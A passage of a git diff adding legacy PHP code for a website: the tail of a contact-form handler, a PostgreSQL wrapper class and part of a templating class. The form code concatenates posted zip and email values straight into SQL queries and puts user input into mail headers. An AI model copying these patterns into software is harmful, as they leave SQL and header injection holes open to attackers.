+                               }
+                       }
+               }
+               
+               $in_fields[] = create_date;
+               $in_vars[] = date("m-d-Y");
+               if($this->contact_db)
+               {
+                       $data_fields = $this->get_db_fields();
+               }
+               $error = $this->check_valid_fields();
+               if( !$error )
+               {
+                       foreach($this->DB_fields as $key=>$value)
+                       {
+                               if( $value['name'] == 'email' )
+                               {
+                                       if( !GLM_TOOLBOX::valid_email( $_POST[$value['name']] ) )
+                                       {
+                                               $error[$value['name']] = 1;
+                                               unset( $_POST[$value['name']] );
+                                       }
+                               }
+                               if( $value['name'] == 'lname' || $value['name'] == 'fname' )
+                               {
+                                       if( strstr( $_POST[$value['name']], "\n" ) )
+                                       {
+                                               $error[$value['name']] = 1;
+                                               unset( $_POST[$value['name']] );
+                                       }
+                               }
+                               if( $value['name'] == 'zip' && $_POST['zip'] != '' )
+                               {
+                                       $query = "select state from zip where zipcode = '".$_POST['zip']."';";
+                                       $zipDB =& new GLM_DB();
+                                       $zipDB->host = 'ds1.gaslightmedia.com';
+                                       $zipDB->dbname = 'zip';
+                                       $zipDB->user = 'nobody';
+                                       $zipDB->conn = 0;
+                                       if( $res = $zipDB->db_auto_get_data( $query ) ) 
+                                       {
+                                               if( count( $res ) == 0 )
+                                               {
+                                                       if( $value['req'] == 1)
+                                                       {
+                                                               $error[$value['name']] = 1;
+                                                       }
+                                                       unset( $_POST[$value['name']] );
+                                               }
+                                       }
+                                       else
+                                       {
+                                               if( $value['req'] == 1)
+                                               {
+                                                       $error[$value['name']] = 1;
+                                               }
+                                               unset( $_POST[$value['name']] );
+                                       }
+                               }
+                               if( $value['req'] == 1 && $_POST[$value['name']] == "")
+                               {
+                                       $error[$value['name']] = 1;
+                               }
+                               if( is_array( $data_fields ) && in_array( $value['name'], $data_fields ) )
+                               {
+                                       if( $value['type'] == "interest" && is_array( $_POST['interest']) )
+                                       {
+                                               $in_fields[] = $value['name'];
+                                               $in_vars[] = ':'.implode(":",$_POST['interest']).':';
+                                               $_POST['interest'] = ':'.implode(":",$_POST['interest']).':';
+                                       }
+                                       elseif( $value['type'] == 'radio' )
+                                       {
+                                               $in_fields[] = $value['name'];
+                                               $in_vars[] = ( $_POST[$value['name']] == 't' ) ? 't': 'f';
+                                       }
+                                       elseif($value['name'] != "comments" && $value['name'] != 'verify_email' )
+                                       {
+                                               $in_fields[] = $value['name'];
+                                               $in_vars[] = addslashes(trim($_POST[$value['name']]));
+                                       }
+                               }
+                       }
+               }
+               if( $_POST['email'] )
+               {
+                       if( $_POST['email'] != $_POST['verify_email']  )
+                       {
+                               $error['verify_email'] = 1;
+                       }
+                       $query = "select id from contact where email = '".$_POST['email']."'";
+                       if( $cData = $this->CDB->db_auto_get_data( $query ) )
+                       {
+                               $update = $cData[0]['id'];
+                       }
+               }
+               if(count($error) > 0)
+               {
+                       return($error);
+               }
+               if($this->contact_db)
+               {
+                       if( $update )
+                       {
+                               if( is_array( $in_fields ) && is_array( $in_vars ) )
+                               {
+                                       $query = 'update contact set ';
+                                       for( $i = 0; $i < count($in_fields); $i++ )
+                                       {
+                                               $query .= $in_fields[$i]." = '".$in_vars[$i]."' ";
+                                               if( $i != count( $in_fields ) - 1 )
+                                               {
+                                                       $query .= ',';
+                                               }
+                                       }
+                                       $query .= " where id = ".$update.";";
+                               }
+                       }
+                       else
+                       {
+                               if(is_array($in_fields))
+                               {
+                                       $infds = implode(",",$in_fields);
+                               }
+                               if(is_array($in_vars))
+                               {
+                                       $invars = implode("','",$in_vars);
+                               }
+                               $query = "INSERT INTO ".$this->table_name." 
+                                       ($infds)
+                                       VALUES
+                                       ('$invars')";
+                       }
+                       $this->CDB->db_auto_exec($query);
+               }
+        //  Send data off to StreamSend
+        $values = array_combine($in_fields, $in_vars);
+        if (   defined('STREAMSEND_FORMS_API')
+            && STREAMSEND_FORMS_API
+            && $values['mail_ok']
+        ) {
+            // Insert the record into the streamsend server
+            include 'StreamSend.php';
+            $streamSend = new Toolkit_Contacts_StreamSend();
+            $streamSend->addContact($values);
+        }
+               // adding comments again
+               $in_fields[] = "comments";
+               $in_vars[] = $_POST['comments'];
+               if( $this->email != '' && $_POST['email'] != '' && GLM_TOOLBOX::valid_email( $_POST['email'] )  )
+               {
+                       //mail the contact info to mail address.
+                       $body = '
+                       <html>
+               <style type="text/css">
+               <!--
+               body { background-color: #fff;
+                       color: black;
+                       font-family: verdana, arial, helvetica, sans-serif;
+                       }
+               h1, h2 {font-family: arial, helvetica, sans-serif;}     
+               h1 {font-size: 18px; }
+               h2 {font-size: 16px; margin-bottom: 5px;}
+               p {font-size: 12px;}
+               .label {
+                       font-weight: bold; 
+                       background-color: transparent;
+                       text-align: right;
+                       width: 200px;
+                       padding: 5px;
+                       }
+               .field {
+                       //background-color: #F2F7FB;
+                       background-color: #fff;
+                       padding: 3px;
+                       }
+               table.data { 
+                       //background-color: #F9FBFD; 
+                       background-color: #fff; 
+                       color: #000; 
+                       width: 500px;  
+                       //border: 1px solid #D7E5F2; 
+                       border: 1px solid #ccc; 
+                       border-collapse: collapse; 
+                       margin-left: 20px;
+                       }
+               table.data td { 
+                       //border: 1px solid #D7E5F2; 
+                       border: 1px solid #ccc; 
+                       padding-left: 4px; 
+                       font-size: 12px;
+                       }       
+               -->
+</style><body>
+               
+<h1>'.$this->subject.'</h1>
+<h2>From  '.(($_POST["fname"])?' '.$_POST["fname"].'':'').' '.(($_POST["lname"])?' '.$_POST["lname"].'':'').'</h2>
+<h2>Information</h2>
+<table class="data">   
+                               ';
+                       foreach($this->DB_fields as $key=>$value)
+                       {
+                               if($value['type']=="radio")
+                               {
+                                       $body .= ' <tr><td class="label">'.$value["title"].'</td><td class="field"> ';
+                                       $body .= ($_POST[$value['name']] == 't')?'Yes':'No';
+                                       $body .= '</td></tr>';
+                                       $body .= "\n";
+                               }
+                               elseif( $value['type'] == 'date' )
+                               {
+                                       $date_row = $_POST[$value['name'].'_month'].'-';
+                                       $date_row .= $_POST[$value['name'].'_day'].'-';
+                                       $date_row .= $_POST[$value['name'].'_year'];
+                                       $body .= ' <tr><td class="label">'.$value["title"].'</td><td class="field"> ';
+                                       $body .= $date_row;
+                                       $body .= '</td></tr>';
+                                       $body .= "\n";
+                               }
+                               elseif( $value['type'] == 'interest' && is_array($_POST['interest']) )
+                               {
+                                       $body .= '
+                                               <tr><td class="label">Area of Interest:</td><td class="field">
+                                               ';
+                                       foreach( $_POST['interest'] as $pkk => $pvv )
+                                       {
+                                               $body .= $this->int_array[$pvv].'<br> ';
+                                       }
+                                               $body .= '
+                                               </td></tr>
+                                               ';
+                               }
+                               elseif($_POST[$value['name']] != '')
+                               {
+                                       $body .= ' <tr><td class="label">'.$value["title"].'</td><td class="field"> ';
+                                       $body .= $_POST[$value['name']];
+                                       $body .= '</td></tr>';
+                                       $body .= "\n";
+                               }
+                       }
+                       $headers = "From: ".$_POST[fname]." ".$_POST[lname]." <".$_POST[email].">\n"
+                               . "Reply-To:  ".$_POST[fname]." ".$_POST[lname]." <".$_POST[email].">\n"
+                        .  "MIME-Version: 1.0\n" 
+                        .  "Content-type: text/html; charset=iso-8859-1\n\n";
+
+                       $body .= '
+                       </table>
+<div>&nbsp;</div><br clear="all">
+</body>
+</html>
+';
+                       mail($this->email,$this->subject,$body,$headers);
+                       echo '<p>Thank You For Your Inquiry!</p>
+                                               <p>We will be contacting you shortly.</p>
+                                               <p><a href="http://www.pineconevacations.com">Return to Home Page</a></p>
+                                               ';
+               }
+       }
+}
+?>
diff --git a/classes/class_db.inc b/classes/class_db.inc
new file mode 100755 (executable)
index 0000000..ac4e6db
--- /dev/null
@@ -0,0 +1,475 @@
+<?php
+/** 
+ *     Toolbox Classes :)
+ * 
+ *     <p>
+ * Database abstraction layer for postgres (mainly)
+ * Database abstraction layer for postgres (mainly)
+ *     </p>
+ *
+ *     @package Toolbox Library
+ *     @subpackage Database Library
+ * @filesource
+ * 
+*/
+/**
+ *     Database Class :)
+ *
+ *     <p>
+ *  $Id: class_db.inc,v 1.1.1.1 2009/12/18 17:47:02 matrix Exp $
+ *     </p>
+ *     <p>Database abstraction layer for postgres
+ *     </p>
+ *
+ *     @package Toolbox Library
+ *     @subpackage Database Library
+ *     @author $Author: matrix $
+ *     @copyright 2005
+ *     @version $Revision: 1.1.1.1 $
+ *     @since $Date: 2009/12/18 17:47:02 $
+ * @todo create mysql part of these function for abstraction also
+ * 
+*/
+class GLM_DB 
+       {
+               /**
+                * host 
+                * string host database host server name
+                * 
+                * @var mixed
+                * @access public
+                */
+               var $host;
+               /**
+                * dbname 
+                * string dbname name of the database 
+                * 
+                * @var mixed
+                * @access public
+                */
+               var $dbname;
+               /**
+                * user 
+                * string user The user to connect as
+                * 
+                * @var mixed
+                * @access public
+                */
+               var $user;
+               /**
+                * password 
+                * string password The users password if any 
+                * 
+                * @var mixed
+                * @access public
+                */
+               var $password;
+               /**
+                * dbd 
+                * string dbd Database connection result ID#
+                * 
+                * @var mixed
+                * @access public
+                */
+               var $dbd;
+               /**
+                * conn 
+                * string conn string postgres connection string default = CONN_STR
+                * 
+                * @var mixed
+                * @access public
+                */
+               var $conn;
+               /**
+                * trans 
+                * boolean trans bool if true a transaction is in process 
+                * 
+                * @var mixed
+                * @access public
+                */
+               var $trans;
+               /**
+                * Result 
+                * 
+                * @var mixed
+                * @access public
+                */
+               var $Result;
+
+               function GLM_DB( $conn = CONN_STR )
+               {
+                       $this->host = "";
+                       $this->dbname = "";
+                       $this->user = "nobody";
+                       $this->password = "";   
+                       $this->conn = $conn;
+                       $this->trans = 0;       
+                       $this->dbd = "";
+               }
+
+               /** 
+               * db_connect
+               *
+               * Creates a connection to database specified $conn_str, 
+               * and returns a boolean for success.                    
+               *
+               * @uses GLM_DB::$dbd
+               * @uses GLM_DB::$conn
+               * @uses GLM_DB::$dbname
+               * @uses GLM_DB::$host
+               * @uses GLM_DB::$user
+               * @uses GLM_DB::$password
+               * {@source } 
+               * @param conn_str       Connect String                                          
+               * @param fail_mode      Failure Mode TRUE = Abort with HTML FALSE = Return with fail code
+               * @returns int 
+               * @access public 
+                */
+
+               function db_connect()
+               {
+                       if( isset( $this->dbd ) && $this->dbd != "" )
+                       {
+                               return( $this->dbd );   
+                       }
+                       switch ( DB_TYPE )
+                       {
+                               case "postgres":
+                                       if( $this->host == "" && $this->dbname == "" )
+                                       {
+                                               $conn = $this->conn;// CONN_STR;
+                                       }
+                                       else
+                                       {       
+                                               $conn .= ( $this->host ) ? 'host='.$this->host.' ' : '';
+                                               $conn .= ( $this->dbname ) ? 'dbname='.$this->dbname.' ' : '';
+                                               $conn .= ( $this->user ) ? 'user='.$this->user." " : '';
+                                               $conn .= ( $this->password ) ? "password=".$this->password : '';
+                                       }
+                                       if( !$this->dbd = pg_connect( $conn ) )
+                                       {
+                                               echo pg_errormessage( $conn );
+                                       }
+                                       break;
+
+                               default:
+                                       return( 0 );
+                                       break;
+                       }
+                       return( $this->dbd );           
+               }
+
+               /** db_close 
+                 *
+                 * Closes the connection to database specified by the handle dbd       
+                 * returns a boolean for success                                       
+                 *
+                 * {@source } 
+                 * @returns bool - Returns 1 on success 0 if dbd is not a valid connection     
+               * @access public 
+                */
+
+               function db_close()
+               {
+                       switch (DB_TYPE)
+                       {
+                               case "postgres":
+                                       @pg_close($this->dbd);
+                               break;
+                               default:
+                               return(0);
+                       }
+               }
+
+               /** db_exec
+               *
+               *  Execute an SQL query, * returning a valid result index or zero(0) on 
+               *  failure.                                                             
+               *
+               * {@source } 
+               *  @param $qs -- SQL query string                               
+               *  @returns int Returns a valid result index on success 0 on failure    
+               * @access public 
+               */
+               function db_exec( $qs )
+               {
+                       if( !$this->dbd )
+                       {
+                               $this->dbd = $this->db_connect();       
+                       }
+                       switch ( DB_TYPE )
+                       {
+                               case "postgres":
+                                       if(!$ret = pg_exec( $this->dbd, $qs ) )
+                                               echo "<font color=red>".$qs."</font>";
+                               break;
+                               default:
+                               return( 0 );
+                       }
+                       return( $ret );
+               }
+
+               /** db_fetch_array
+               *
+               *  Stores the data in associative indices, using the field names as     
+               *  keys.                                                                
+               *
+               * {@source } 
+               *  @param $res -- valid database result index                   
+               *  @param $i -- row number                                      
+               *  @param $type -- PGSQL_ASSOC,PGSQL_BOTH,PGSQL_NUM                                     
+               *  @returns array Returns an associative array of key-value pairs               
+               * @access public 
+               */
+
+               function db_fetch_array( $res, $i, $type )
+               {
+                       switch ( DB_TYPE )
+                       {
+                               case "postgres":
+                                       $row = pg_fetch_array( $res, $i, $type );
+                               break;
+
+                               default:
+                               return( 0 );
+                       }
+                       return( $row );
+               }
+
+               /** db_freeresult
+               *
+               *  Free result memory.                                                  
+               *
+               * {@source } 
+               *  @param $res -- valid database result index                   
+               *  @returns bool - Returns 1 for success 0 for failure                  
+               * @access public 
+               */
+
+               function db_freeresult( $res )
+               {
+                       switch ( DB_TYPE )
+                       {
+                               case "postgres":
+                                       $ret = pg_freeresult( $res );
+                               break;
+
+                               default:
+                               return( 0 );
+                       }
+                       return( $ret );
+               }
+
+               /** db_numrows
+               *
+               *  Determine number of rows in a result index                           
+               *
+               * {@source } 
+               *  @param $res -- valid database result index                   
+               *  @returns int - Returns number of rows                                        
+               * @access public 
+               */
+
+               function db_numrows( $res )
+               {
+
+                       switch ( DB_TYPE )
+                       {
+                               case "postgres":
+                                       $ret = pg_numrows( $res );
+                               break;
+
+                               default:
+                               return( -1 );
+                       }
+                       return( $ret );
+               }
+               /** db_auto_get_array
+               *
+               *  The auto function for retrieving an array based soley on a query     
+               *  string. This function makes the connection, does the exec, fetches   
+               *  the array, closes the connection, frees memory used by the result,   
+               *  and then returns the array                                           
+               *
+               * {@source } 
+               *  @param $qs   SQL query string                                
+               *  @param $i            row number                                      
+               *  @param $type PGSQL_ASSOC or PGSQL_BOTH or PSQL_NUM                                           
+               *  @returns array - Returns an associative array of key-value pairs             
+               * @access public 
+               */
+
+               function db_auto_array( $qs, $i, $type )
+               {
+
+                       $dbd = $this->db_connect();
+                       if( !$dbd )
+                       {
+                               return( 0 );
+                       }
+                       $res = db_exec( $dbd, $qs );
+                       if( !$res )
+                       {
+                               return( 0 );
+                       }
+
+                       $row = db_fetch_array( $res, $i, $type );
+
+                       if(!db_freeresult( $res ) )
+                       {
+                               return( 0 );
+                       }
+
+                       return( $row );
+               }
+
+               /** db_auto_exec
+               *
+               *  The auto function for executing a query.                             
+               *  This function makes the connection, does the exec, fetches           
+               *  the array, closes the connection, frees memory used by the result,   
+               *  and then returns success (not a valid result index)                  
+               *
+               * {@source } 
+               *  @param $qs   SQL query string                                
+               *  @returns int - Returns 1 for success 0 for failure                   
+               * @access public 
+               */
+
+               function db_auto_exec( $qs )
+               {
+                       $this->db_connect();
+                       if( !$this->dbd )
+                       {
+                               return( 0 );
+                       }
+                       if( !$this->db_exec( $qs ) )
+                       {
+                               return( 0 );
+                       }
+                       else 
+                       {
+                               return( 1 );
+                       }
+               }
+               /** db_auto_get_data
+               *
+               *  <p>The auto function for retrieving an array based soley on a query  
+               *  string. This function makes the connection, does the exec, fetches   
+               *  the array, closes the connection, frees memory used by the result,   
+               *  and then returns the array.</p>
+               *
+               * {@source } 
+               *  @param string $qs    SQL query string                                
+               *  @returns     mixed
+               * @access public 
+               */
+
+               function db_auto_get_data( $qs ) 
+               {
+                       if( !$this->dbd )
+                       {
+                               $this->db_connect();
+                       }
+                       if( !( $res = $this->db_exec( $qs ) ) )
+                       {
+                               return( FALSE );
+                       }
+                       $totalrows = pg_NumRows( $res );
+                       for( $i = 0 ; $i < $totalrows ; $i++ )
+                       {
+                               $data[$i] = $this->db_fetch_array ($res, $i, PGSQL_ASSOC );
+                       }
+                       if( isset( $data ) && $data != "" )     
+                       {
+                               return( $data );
+                       }
+                       else
+                       {
+                               return( 0 );
+                       }
+               }
+
+               /** trans_start
+               *
+               * Start a postgres transaction 
+               *
+               * {@source } 
+               *  @returns bool true if sucessful
+               * @access public 
+               */
+               function trans_start()
+               {
+                       if( !$this->trans )
+                       {
+                               if( !$this->dbd = $this->db_connect() )
+                               {
+                                       $this->trans = false;
+                                       return( false );
+                               }
+                               else
+                               {
+                                       $this->db_exec( "BEGIN WORK;" );
+                                       $this->trans = true;
+                                       return( true );
+                               }
+                       }
+                       else
+                       {
+                               return( true );
+                       }
+               }
+
+               /** trans_end
+                *
+                * Commit the postgres transaction  
+                *
+                * {@source } 
+                * @returns bool true if successful
+               * @access public 
+                */
+               function trans_end()
+               {
+                       if( !$this->trans )
+                       {
+                               if(!$this->db_exec( "COMMIT WORK;" ) )
+                               {
+                                       return( false );
+                               }
+                               else
+                                       return( true );
+                       }
+                       else
+                               return( false );
+               }
+               /** trans_exec
+               *
+               *  exec a postgres query in a 
+               *  postgres transaction
+               *
+               * {@source } 
+               *  @param string query 
+               * @access public 
+               */
+               function trans_exec( $query )
+               {
+                       if( $query != "" )
+                       {
+                               if(!$ret = $this->db_exec( $query ) )
+                               {
+                                       $this->db_exec( "ABORT WORK;" );
+                                       return( false );
+                               }
+                               else
+                               {
+                                       return( $ret );
+                               }
+                       }
+                       else
+                       {
+                               return( false );
+                       }
+               }
+       }
+?>
diff --git a/classes/class_template.inc b/classes/class_template.inc
new file mode 100755 (executable)
index 0000000..d296dbc
--- /dev/null
@@ -0,0 +1,2096 @@
+<?php
+/** 
+ *     Toolbox Classes :)
+ * 
+ *     <p>
+ * $Id: class_template.inc,v 1.1.1.1 2009/12/18 17:47:02 matrix Exp $
+ *     NOTE: for the search engine freindly url's use .htaccess file.
+ *     need to make sure .htaccess is enabled or this work work
+ *     to turn off seo url's set define SEO_URL to 0 in setup file
+ *     </p>
+ *
+ * @package Toolbox Library
+ * @subpackage Template Library
+ * @filesource
+ * 
+ */
+/**
+ * Require DocBlock
+ */
+require_once(BASE."classes/class_db.inc");
+/**
+ * Require DocBlock
+ */
+require_once(BASE."classes/class_toolbox.inc");
+/**
+ *     Template Class :)
+ *
+ *     <p>
+ * $Id: class_template.inc,v 1.1.1.1 2009/12/18 17:47:02 matrix Exp $
+ *     NOTE: for the search engine freindly url's use .htaccess file.
+ *     need to make sure .htaccess is enabled or this work work
+ *     to turn off seo url's set define SEO_URL to 0 in setup file
+ *     </p>
+ *     <code>
+ *     .htaccess -> example follows:
+ *     Options +FollowSymLinks
+ *     ErrorDocument 404 /www.?????.com/sitemap.php?nf=1
+ *     RewriteEngine On
+ *     RewriteBase /
+ *  RewriteCond %{HTTP_HOST} !^(.*)\.????\.com$ [NC]
+ *  RewriteRule ^(.*)$ http://www.????.com/$1 [R=301,L]
+ *     RewriteRule ^.*-([0-9]*)/$ index\.phtml?catid=$1
+ *     RewriteRule site-map sitemap.php
+ *     </code>
+ *  <p>For the page title and meta tags make a $title and $meta vars depending on
+ *  weather or not it is the home page.</p>
+ *     <code>
+ *     if($catid == 1)
+ *     {
+ *             // title and meta description for home page only
+ *             $title = '';
+ *             $meta = '';
+ *     }
+ *     else
+ *     {
+ *             $title = $toolbox->title().' - Site Name';
+ *             $meta = $toolbox->meta();
+ *     }
+ *     <title><?php echo $title;?></title>
+ *     <meta name="description" content="<?php echo $meta;?>">
+ *  </code>
+ *
+ *     @package Toolbox Library
+ *     @subpackage Template Library
+ *  @category Template
+ *     @author Steve Sutton <steve@gaslightmedia.com> 
+ *     @copyright 2005
+ *     @version $Revision: 1.1.1.1 $
+ *     @since $Date: 2009/12/18 17:47:02 $
+ * 
+ *     @todo update the phpdocs for all classes
+ *  @todo add title for all the navigation links if and only if they have page title
+ *  @todo some tutorial in the docs for how to set things up.
+ */
+class GLM_TEMPLATE{
+
+       /** @var string header_begin The style starting for header */
+       var $header_begin;
+       /** @var string header_end The style ending for header*/
+       var $header_end;
+       /** @var string subheader_begin The style starting for header */
+       var $subheader_begin;
+       /** @var string subheader_end The style ending for header*/
+       var $subheader_end;
+       /** @var string img_align The alignment of images*/
+       var $img_align;
+       /** @var string img_alternate 1 alternate images 0 not*/
+       var $img_alternate;
+       /** @var string img_size The path to the image directory*/
+       var $img_size;
+       /** @var object DB The database class*/
+       var $DB;
+       /** @var array data The category array*/
+       var $data;
+       /** @var array items The items array*/
+       var $items;
+       /** @var string type The type*/
+       var $type;      
+       /** @var string whole_thread The thread string*/
+       var $whole_thread;
+       /** @var integer thread_count The thread count*/
+       var $thread_count;
+       /** @var integer catid  catid for the page */
+       var $catid;
+       /** @var array $pages */
+       var $pages;
+       /** @var string $active_query string adding active = 't' to queries only if ACTIVE_FLAG is set to true */
+       var $active_query;
+       /** @var integer $template integer determines page layout */
+       var $template;
+       /** @var string $php_ext pgae extension for php pages .php or .phtml */
+
+       /**
+       * GLM_TEMPLATE:Contsructor of the class
+       * This function is run on intialization.
+       * Any setup vars should be overwritten by creating a new class
+       * that extends this one and setting new vars in the constructor.
+       *
+       * @param integer $catid: catid Must be set
+       * @uses GLM_DB
+       * @example /media/homes/matrix/www/www.setup.com/index.phtml
+       * 
+       * @return void 
+       * @access public
+       **/
+       function GLM_TEMPLATE( $catid, $DB = NULL )
+       {
+               $this->catid = $this->get_catid( $catid );          // sets $this->catid
+               $this->set_DB( &$DB );                  // using a reference to $DB (should be started on setup.phtml
+               $this->header_begin = "<h1>";   // class="content" should not be used anymore 
+               $this->header_end = "</h1>";    // create style for p h1 h2 tags if needed try to keep it clean
+               $this->subheader_begin = "<h2>";// should not be using h3 here duh go from 1 to 2 instead
+               $this->subheader_end = "</h2>"; // like your suppose to
+               $this->img_alternate = 1;               // for alternating images set to 1 else leave alone
+               $this->img_align = "left";              // the starting postion for images change to left if needed
+               $this->img_size = RESIZED;              // img_size are RESIZED,MIDSIZED,THUMB do not use ORIGINAL
+               $this->whole_thread = "";               // do not touch this it is used for menu generation
+               $this->thread_count = 1;                // also used for menu generation
+               $this->php_ext = '.phtml';              // defaults to .phtml
+               $this->set_pages( &$GLOBALS['PAGES'] );
+               $this->set_active_query();              // set active query string 
+       }
+       
+
+       /**
+        * set_active_query: some toolboxes have an active flag some do not 
+        * so this is to allow both with and without a flag. 
+        *
+        * @uses ACTIVE_FLAG
+        * 
+        * @return void 
+        * @access public
+        **/
+       function set_active_query()
+       {
+               if( ACTIVE_FLAG )
+               {
+                       $this->active_query = " and active = 't'";
+               }
+               return( $this->active_query );
+       }
+       
+
+       /**
+        * get_hit_count: find out how many top level categories have at least one category under
+        * them.
+        * @param object &$DB : Database object
+        * @uses GLM_DB::db_auto_get_data()
+        * 
+        * @return  void
+        * @access public
+        **/
+       function get_hit_count( &$DB )
+       {
+               $query = 'select id from bus_category where parent in ( select id from bus_category where
+                               parent = 0) and parent != 0';
+               $res = $DB->db_auto_get_data( $query );
+               if( !$res )
+               {
+                       return( 0 );
+               }
+               else
+               {
+                       return( count( $res ) );
+               }
+       }
+       
+       /**
+        * get_seo_url: 
+        * grab category part of the search engine friendly url
+        * looks at define for seo_url to see weather to use the seach engine friendly url's or not
+        * 
+        * @param integer $id: 
+        * @param boolean $slash = 1 : to put a slash on end or not
+        * @uses BASE_URL
+        * @uses SEO_URL
+        * @uses HOME_ID
+        * @uses GLM_TEMPLATE::$php_ext
+        * @uses GLM_TEMPLATE::set_name_url()
+        * @uses GLM_TEMPLATE::get_category_name()
+        * @uses GLM_TEMPLATE::get_base_url()
+        * 
+        * @return string $url for page.
+        * @access public
+        **/
+       function get_seo_url( $id, $slash = 1 )
+       {
+               if( $id == HOME_ID && $GLOBALS['GLM_SERVER_ID'] != 'devsys.gaslightmedia.com' )
+               {
+                       return( BASE_URL );
+               }
+               elseif( $id == HOME_ID && $GLOBALS['GLM_SERVER_ID'] != 'devsys.gaslightmedia.com' )
+               {
+                       return( BASE_URL.'index.php' );
+               }
+               if( SEO_URL )
+               {
+                       $url = BASE_URL;
+                       $url .= GLM_TEMPLATE::set_name_url( GLM_TEMPLATE::get_category_name( $id, "bus_category", $this->DB ) );
+                       $url = strip_tags( $url );
+                       $url = htmlspecialchars( $url );
+                       if( $slash )
+                       {
+                               $url .= '/';
+                       }
+               }
+               else
+               {
+                       $url = $this->get_base_url( $id );
+                       if( $url )
+                       {
+                               $url = BASE_URL.$url;
+                               $url .= $this->php_ext.'?catid='.$id;
+                       }
+                       else
+                       {
+                               $url = BASE_URL;
+                       }
+               }       
+
+               return( $url );
+       }
+       /**
+        * set_DB: set the DB up to be that of the global one if it exists
+        * 
+        * @param object $DB : the DB object 
+        * @uses GLM_DB
+        * 
+        * @return void
+        * @access public
+        **/
+       function set_DB( $DB )
+       {
+               if( isset( $DB ) )
+               {
+                       $this->DB =& $DB;
+               }
+               else
+               {
+                       $this->DB =& new GLM_DB();
+               }
+       }
+
+       /**
+        * set_pages: grab the globals for the pages an use this for 
+        *      the pages array for the class
+        * 
+        * @return void
+        * @access public 
+        **/
+       function set_pages( $pages )
+       {
+               if( is_array( $pages ) )
+               {
+                       $this->pages =& $pages;
+               }
+       }
+       
+       /**
+       * set_catid:Set the class catid var
+       * @param integer $catid: $catid
+       * 
+       * @deprecated using get_catid
+       * @return void 
+       * @access public 
+       **/
+       function set_catid( $catid )
+       {
+               if( is_numeric( $catid ) )
+               {
+                       $this->catid = $catid;
+               }
+               else
+               {
+                       $this->catid = 1;
+               }
+       }
+
+       /**
+        * get_id_from_path_info: takes the path_info and gets a catid from bus_category table
+        * @param string $PATH_INFO: GLOBAL PATH_INFO 
+        * @param object &$dbd : object database 
+        * 
+        * @deprecated using .htaccess file for this when using seo url's
+        * @return int catid
+        * @access public
+        **/
+       function get_id_from_path_info( $PATH_INFO, &$dbd )
+       {
+               //echo "$PATH_INFO";
+               $var_array = explode( "/", $PATH_INFO );
+               if( count( $var_array ) > 0 )
+               {
+                       $it=$var_array[(sizeof($var_array) - $chop)];
+                       if( $it != "" && $it != "blank")
+                               {
+                                       $catid = GLM_TEMPLATE::get_id_from_name( $it,"bus_category", &$dbd );
+                               }
+               }
+               return( $catid );
+       }
+
+       /**
+        * get_catid: setting catid for class 
+     *
+        * We should be using the $_POST or $_GET globals here
+        * 
+        * @return int catid 
+        * @access public 
+        **/
+       function get_catid( $catid )
+       {
+               if( is_numeric( $_GET['catid'] ) )
+               {
+                       return( $_GET['catid'] );
+               }
+               elseif( is_numeric( $_POST['catid'] ) )
+               {
+                       return( $_POST['catid'] );
+               }
+               else
+               {
+                       return( $this->catid = $catid );
+               }
+       }
+
+       /**
+       * set_contact:Set the contact string
+       * <code><p><strong>Contact Name:</strong>&nbsp;{$text}</p></code>
+       * 
+       * @param string $text: The text as string
+       * @param string $email: email if givin 
+       * 
+       * @return string $text 
+       * @access public 
+       **/
+       function set_contact( $text, $email )
+       {
+               if( $email != "" )
+               {
+                       $text = "";
+               }
+               else
+               {
+                       $text = '<p><strong>Contact Name:</strong>&nbsp;'.$text.'</p>';
+               }
+               return($text);
+       }
+
+       /**
+       * set_text:Set the contact string
+       * @param string $text: The text as string
+       * 
+       * @return string $text
+       * @access public 
+       **/
+       function set_text( $text )
+       {
+               if("" == str_replace("<br />","",trim($text)))
+               {
+                       return(false);
+               }
+               if( $text != "" )
+               {
+                       $text = str_replace( "<a href=","<a target=\"_blank\" href=", $text );
+                       $text = $this->keyword_replace( $text );
+                       $text = $text;
+               }
+               return($text);
+       }
+
+       /**
+        * get_image_path: get image path from the size used
+        * 
+        * @uses MIDSIZED_PATH 
+        * @uses RESIZED_PATH 
+        * @uses THUMB_PATH 
+        *
+        * @return path for images
+        * @access public
+        **/
+       function get_image_path()
+       {
+               if( strstr($this->img_size,'midsized/') )
+               {
+                       return( MIDSIZED_PATH );
+               }
+               if( strstr($this->img_size,'resized/') )
+               {
+                       return( RESIZED_PATH );
+               }
+               if( strstr($this->img_size,'thumb/') )
+               {
+                       return( THUMB_PATH );
+               }
+       }
+       
+       /**
+       * set_img:Set the image string
+       * <p><code>
+       * <div class="image{$align}" style="width: {$width}px" src="{$size}{$image}" {$titletag}>
+       * <div class="imagecaption">{$caption}</div>
+       * </div>
+       * </code>
+       * </p>
+       *
+       * @param string $image: The image
+       * @param string $size: The path
+       * @param string $align: The alignment
+       * @param string $name: The image_name (displayed under image)
+       * @param string $alt_title text for use in alt and title tags
+       * @param string $caption Text for image caption if given 
+       * @uses GLM_TEMPLATE::get_image_path()
+       * 
+       * @return void
+       * @access public 
+       **/
+       function set_img( $image, $size, $align, $alt_title = NULL, $caption = NULL )
+       {
+               if( $image != "" )
+               {
+                       if( $caption != '' )
+                       {
+                               $caption = str_replace('&amp;','&',$caption);
+                               $titletag = 'title="'.htmlspecialchars(strip_tags($caption)).'"';
+                               $titletag .= ' alt="'.htmlspecialchars(strip_tags($image)).'"';
+                       }
+                       elseif( $alt_title != '')
+                       {
+                               $alt_title = str_replace('&amp;','&',$alt_title);
+                               $titletag = 'title="'.htmlspecialchars(strip_tags($alt_title)).'"';
+                               $titletag .= ' alt="'.htmlspecialchars(strip_tags($image)).'"';
+                       }
+                       else
+                       {
+                               $titletag = 'title="'.htmlspecialchars(strip_tags($image)).'"';
+                               $titletag .= ' alt="'.htmlspecialchars(strip_tags($image)).'"';
+                       }
+                       if( $align != "" )
+                       {
+                               $img_align = 'class="image'.$align.'"';
+                       }
+                       $path = $this->get_image_path();
+                       if( is_file( $path.$image ) )
+                       {
+                               $image_size = getimagesize( $path.$image );
+                               $img_attr = $image_size[3];
+                       }
+                       $img = '
+                       <div '.$img_align.' style="width: '.$image_size[0].'px">        
+                               ';
+                       $img .= '<img '.$img_attr.' src="'.$size.$image.'" '.$titletag.'>';
+                       if( $caption )
+                       {
+                               $img .= '
+                               <div class="imagecaption">'.$caption.'</div>    
+                                       ';
+                       }
+                       $img .= '</div>
+                               ';
+                       return($img);
+               }
+       }
+
+       /**
+       * set_url:Set the url string
+       * <p>
+       * <code><p><a href="http://{$url}" target="_blank">{$text}</a></code>
+       * </p>
+       *
